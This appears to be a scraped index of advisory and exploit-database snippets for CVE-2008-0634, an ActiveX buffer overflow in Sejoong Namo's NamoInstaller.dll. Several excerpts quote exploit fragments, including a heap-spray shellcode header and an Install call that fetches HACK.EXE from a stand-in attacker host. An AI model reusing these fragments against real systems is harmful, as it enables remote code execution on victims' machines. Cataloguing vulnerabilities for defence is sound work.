CVE-2008-0634

Buffer overflow in the NamoInstaller.NamoInstall.1 ActiveX control in NamoInstaller.dll 3.0.0.1, as used in Sejoong Namo ActiveSquare6, allows remote attackers to execute arbitrary code via a long argument to the Install method, a different vulnerability than CVE-2008-0551...

CVE-2008-0634

Buffer overflow vulnerability CVE-2008-0634 affects the NamoInstaller.NamoInstall.1 ActiveX control in NamoInstaller.dll v3.0.0.1 used by Sejoong Namo ActiveSquare 6. The flaw allows remote code execution when a long argument is passed to the Install method. This is a separate issue from CVE-2008...

sejoon-overflow.txt

// HeapSpray - execute calculator shellcode =...

Sejoong Namo ActiveSquare 6 NamoInstaller.dll ActiveX BoF Exploit

Exploit for unknown platform in category remote exploits ================================================================= Sejoong Namo ActiveSquare 6 NamoInstaller.dll ActiveX BoF Exploit ================================================================= // HeapSpray - execute calculator shellcod...

Sejoong Namo ActiveSquare 6 NamoInstaller.dll ActiveX BoF Exploit

No description provided by source. !-- Sejoong Namo ActiveSquare6 NamoInstaller.dll BoF Exploit Written by http://www.Plan-S.cn Tested on Windows XP SP2fully patched Korean, IE6, NamoInstaller.dll version 3,0,0,1 -- html object classid="clsid:AF465549-1D22-4140-A273-386FA8877E0A" id="target"/OBJE...

Sejoong Namo ActiveSquare 6 - NamoInstaller.dll ActiveX Buffer Overflow

Sejoong Namo ActiveSquare 6 - NamoInstaller.dll ActiveX Buffer Overflow // HeapSpray - execute calculator shellcode =...

Sejoong Namo ActiveSquare 6 - 'NamoInstaller.dll' ActiveX Buffer Overflow

// HeapSpray - execute calculator shellcode =...

Namo Web Editor NamoInstaller.dll ActiveX控件任意命令执行漏洞

BUGTRAQ ID: 27453 Namo Web Editor是一个软件包，允许Web应用人员为网站用户提供创建文档、上传文件等支持。 Namo Web Editor的ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞在用户系统上执行任意命令。 Namo Web Editor软件包中所安装的NamoInstaller.NamoInstall.1 ActiveX控件（NamoInstaller.dll）没有正确地验证对Install方式的输入参数，如果用户受骗访问了恶意网页并向该方式传送了恶意参数的话，就可能导致下载并执行恶意程序。 SJ NAMO Web Editor...

sejoong-method.txt

Namo Web Editor NamoInstaller.dll install Method Exploit function Check obj.Install"http://ATTACKER.COM/HACK.EXE" Unable to create object tml --...

Sejoong Namo ActiveSquare 6 NamoInstaller.dll install Method Exploit

No description provided by source. !-- Sejoong Namo ActiveSquare 6 NamoInstaller.dll install Method Exploit Written by http://www.Plan-S.cn Tested on Windows XP SP2fully patched Korean, IE6, NamoInstaller.dll version 3,0,0,1 -- html head html head titleNamo Web Editor NamoInstaller.dll install...

Sejoong Namo ActiveSquare 6 - NamoInstaller.dll install Method

Sejoong Namo ActiveSquare 6 - NamoInstaller.dll install Method Namo Web Editor NamoInstaller.dll install Method Exploit function Check obj.Install"http://ATTACKER.COM/HACK.EXE" Unable to create object tml -- milw0rm.com 2008-01-25...

Sejoong Namo ActiveSquare 6 NamoInstaller.dll install Method Exploit

Exploit for unknown platform in category remote exploits ==================================================================== Sejoong Namo ActiveSquare 6 NamoInstaller.dll install Method Exploit ==================================================================== Namo Web Editor NamoInstaller.dll...

Sejoong Namo ActiveSquare 6 - 'NamoInstaller.dll' install Method

Namo Web Editor NamoInstaller.dll install Method Exploit function Check obj.Install"http://ATTACKER.COM/HACK.EXE" Unable to create object tml -- milw0rm.com 2008-01-25...